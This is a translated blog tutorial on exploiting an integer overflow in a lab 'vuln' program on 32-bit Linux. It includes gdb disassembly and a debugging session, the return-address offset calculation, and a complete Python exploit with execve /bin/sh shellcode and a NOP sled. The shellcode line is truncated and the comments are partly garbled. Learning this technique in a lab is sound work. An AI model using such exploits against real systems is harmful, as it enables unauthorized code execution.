Linux Exploit Series 2 Integer Overflow

 

Integer overflow

 

Virtual Machine Installation: Ubuntu 12.04 (x86)

 

What is integer overflow?

 

Storing a value larger than the maximum supported value is called integer overflow. Integer overflow by itself does not lead to arbitrary code execution, but integer overflow can lead to stack overflow or heap overflow, which can lead to arbitrary code execution. In this post, I will only talk about integer overflow causing stack overflow, integer overflow causing heap overflow will be discussed in a separate post later.

It's annoying to copy and paste the content behind, let's talk about the key points!

See the original text: https://bbs.pediy.com/thread-216869.htm

The explanation of this article is much clearer than the previous one. I believe I can understand it. The only thing I don't understand is the same as the previous one. It is still a problem of address calculation.

Also use gdb to debug: gdb -q vuln

The following explains how I found the address (virtual machine environment Ubuntu14.04 32-bit system, gcc 4.8.2)

First use disassemble to view the assembly code to see the assembly code layout of the program:

 1 (gdb) disassemble validate_passwd
 2 Dump of assembler code for function validate_passwd:
 3    0x08048507 <+0>:    push   %ebp
 4    0x08048508 <+1>:    mov    %esp,%ebp
 5    0x0804850a <+3>:    sub    $0x28,%esp
 6    0x0804850d <+6>:    mov    0x8(%ebp),%eax
 7    0x08048510 <+9>:    mov    %eax,(%esp)
 8    0x08048513 <+12>:    call   0x80483e0 <strlen@plt>
 9    0x08048518 <+17>:    mov    %al,-0x9(%ebp)
10    0x0804851b <+20>:    cmpb   $0x3,-0x9(%ebp)
11    0x0804851f <+24>:    jbe    0x8048554 <validate_passwd+77>
12    0x08048521 <+26>:    cmpb   $0x8,-0x9(%ebp)
13    0x08048525 <+30>:    ja     0x8048554 <validate_passwd+77>
14    0x08048527 <+32>:    movl   $0x8048670,(%esp)
15    0x0804852e <+39>:    call   0x80483b0 <puts@plt>
16    0x08048533 <+44>:    mov    0x804a040,%eax
17    0x08048538 <+49>:    mov    %eax,(%esp)
18    0x0804853b <+52>:    call   0x8048390 <fflush@plt>
19    0x08048540 <+57>:    mov    0x8(%ebp),%eax
20    0x08048543 <+60>:    mov    %eax,0x4(%esp)
21    0x08048547 <+64>:    lea    -0x14(%ebp),%eax
22    0x0804854a <+67>:    mov    %eax,(%esp)
23    0x0804854d <+70>:    call   0x80483a0 <strcpy@plt>

Well, I found that the compiler has not changed much, that is, the strlen function is directly embedded, and no function call (the usual practice of library functions) is used, so I won't explain much.

(gdb) list Take a look at the source code for easy breakpoints

(gdb) b validate_passwd 下断

Then happily run as the author says

Below are the debugging steps

 1 Reading symbols from vuln...done.
 2 (gdb) b validate_passwd
 3 Breakpoint 1 at 0x804850d: file vuln.c, line 14.
 4 (gdb) r sploitfun `python -c 'print "A"*261'`
 5 Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'`
 6 
 7 Breakpoint 1, validate_passwd (
 8     passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c: 14 
9  14      unsigned char passwd_len = strlen( passwd ); /* [1] */  
10  (gdb) n //Single-step debugging, we want to see if the execution is what we think The key code is not, obviously not the key code here
 11  15      if (passwd_len >= 4 && passwd_len <= 8 ) { /* [2] */ 
12  (gdb) n
 13  16       printf( " Valid Password\n " ) ; /* [3] */  
14  (gdb) p passwd_len //This is the key point, but if it is correct, passwd_len should be 'A', it is likely that the program has not been executed
15 $ 1 = 5  ' \005 ' 
16  (gdb) n
 17  Valid Password
 18  17       fflush(stdout);
 19  (gdb) n
 20  18       strcpy(passwd_buf, passwd ); /* [4] */ 
21  (gdb) n
 22  23      store_passwd_indb(passwd_buf); /* [6] */ 
23  (gdb) p passwd_len //Well finally we got where we wanted
 24 $ 2 = 65  ' A ' 
25 (gdb) p &passwd_len //The address of passwd_len, since the stack is used, we care about the memory layout
 26 $ 3 = (unsigned char *) 0xbffff46f  ' A ' <repeats 200 times> ...
 27  (gdb) p buf //hand error , for no reason
 28 $ 4 = 0x0 
29  (gdb) n
 30  24     }
 31  (gdb) p passwd_buf //passwd_buf value is also correct
 32 $ 5 = ' A ' <repeats 11 times>
 33 (gdb) p &passwd_buf[ 0 ] // passwd_bufThe address is also the same as we imagined
 34 $ 6 = 0xbffff464  ' A ' <repeats 200 times> ...
 35 (gdb) p/ x $eip // obviously not covered yet
 36 $ 7 = 0x8048578 
37 (gdb) p / x $ebp //This is not really making up the number of words, the address of ebp is very important
 38 $ 8 = 0xbffff478 
39  (gdb) n
 40  0x41414141  in ?? ()
 41 (gdb) p/ x $eip //Okay, already covered
 42 $ 9 = 0x41414141 
43 (gdb) p/x $ebp
44 $10 = 0x41414141
45 (gdb) 

According to my comment above, I believe that everyone has a certain understanding of the debugging process. Now let's talk about the calculation of the address.

$ebp - &passwd_buf[0] +4   = 0x18 = $eip - &passwd_buf[0]

This is called a memory offset, and with this, our ret_addr can be calculated

ret_addr= 0xbffff464 +0x18 + 100

Still the old rules, attach my exp.python code

 1 #exp.py 
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 
 6 arg1 = "sploitfun"
 7 
 8 #Stack address where shellcode is copied.
 9 ret_addr = 0xbffff4e0
10 
11 #Spawn a shell
12 #execve(/bin/sh)
13 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$
14 
15 #endianess convertion
16 def conv(num):
17  return struct.pack("<I",num)#unk + RA + NOP's + Shellcode
18 arg2 = "A" * 24
19 arg2 += conv(ret_addr);
20 arg2 += "\x90" * 100
21 arg2 += scode
22 arg2 += "C" * 108
23 
24 print "Calling vulnerable program"
25 call(["./vuln", arg1, arg2])

 

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325299216&siteId=291194637